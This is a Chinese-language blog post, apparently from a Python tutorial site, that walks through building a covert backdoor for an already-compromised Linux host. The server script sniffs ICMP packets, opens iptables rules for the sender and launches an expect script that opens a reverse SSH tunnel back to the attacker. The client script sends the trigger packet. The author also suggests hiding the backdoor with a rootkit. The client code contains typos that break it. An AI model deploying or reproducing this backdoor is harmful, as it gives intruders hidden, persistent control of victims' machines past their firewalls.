用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python实现数据库编程方法详解
Jun 09 Python
python中模块的__all__属性详解
Oct 26 Python
python微信跳一跳系列之棋子定位颜色识别
Feb 26 Python
Python列表生成式与生成器操作示例
Aug 01 Python
解决pandas .to_excel不覆盖已有sheet的问题
Dec 10 Python
python使用threading.Condition交替打印两个字符
May 07 Python
使用python的pandas为你的股票绘制趋势图
Jun 26 Python
浅谈Python线程的同步互斥与死锁
Mar 22 Python
PYcharm 激活方法(推荐)
Mar 23 Python
基于nexus3配置Python仓库过程详解
Jun 15 Python
浅析pandas随机排列与随机抽样
Jan 22 Python
Qt自定义Plot实现曲线绘制的详细过程
Nov 02 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
咖啡豆的最常见发酵处理方法,详细了解一下
2021/03/03 冲泡冲煮
php文章内容分页并生成相应的htm静态页面代码
2010/06/07 PHP
centos 5.6 升级php到5.3的方法
2011/05/14 PHP
php中通过curl检测页面是否被百度收录
2013/09/27 PHP
PHP输出缓存ob系列函数详解
2014/03/11 PHP
小谈php正则提取图片地址
2014/03/27 PHP
Codeigniter框架实现获取分页数据和总条数的方法
2014/12/05 PHP
php自定义分页类完整实例
2015/12/25 PHP
用JavaScript脚本实现Web页面信息交互
2006/10/11 Javascript
基于jquery实现的类似百度搜索的输入框自动完成功能
2011/08/23 Javascript
jQuery中bind,live,delegate与one方法的用法及区别解析
2013/12/30 Javascript
JavaScript自定义等待wait函数实例分析
2015/03/23 Javascript
详解AngularJS过滤器的使用
2016/03/11 Javascript
Bootstrap源码解读排版(1)
2016/12/23 Javascript
Angular2使用jQuery的方法教程
2017/05/28 jQuery
为nuxt项目写一个面包屑cli工具实现自动生成页面与面包屑配置
2019/09/29 Javascript
python实现类似ftp传输文件的网络程序示例
2014/04/08 Python
python进程类subprocess的一些操作方法例子
2014/11/22 Python
Python中的filter()函数的用法
2015/04/27 Python
Python面向对象编程中关于类和方法的学习笔记
2016/06/30 Python
浅谈Python中的可变对象和不可变对象
2017/07/07 Python
Pandas 数据框增、删、改、查、去重、抽样基本操作方法
2018/04/12 Python
python求最大连续子数组的和
2018/07/07 Python
5分钟 Pipenv 上手指南
2018/12/20 Python
python 读取竖线分隔符的文本方法
2018/12/20 Python
Python使用统计函数绘制简单图形实例代码
2019/05/15 Python
Python代理IP爬虫的新手使用教程
2019/09/05 Python
Python爬虫之Selenium下拉框处理的实现
2020/12/04 Python
Python爬虫实战案例之爬取喜马拉雅音频数据详解
2020/12/07 Python
HTML5 新旧语法标记对我们有什么好处
2012/12/13 HTML / CSS
创业计划书中包含的9个方面
2013/12/26 职场文书
乡下人家教学反思
2014/02/01 职场文书
《少年王勃》教学反思
2014/04/27 职场文书
高三毕业感言
2015/07/30 职场文书
一文搞懂php的垃圾回收机制
2021/06/18 PHP
nginx 添加http_stub_status_module模块
2022/05/25 Servers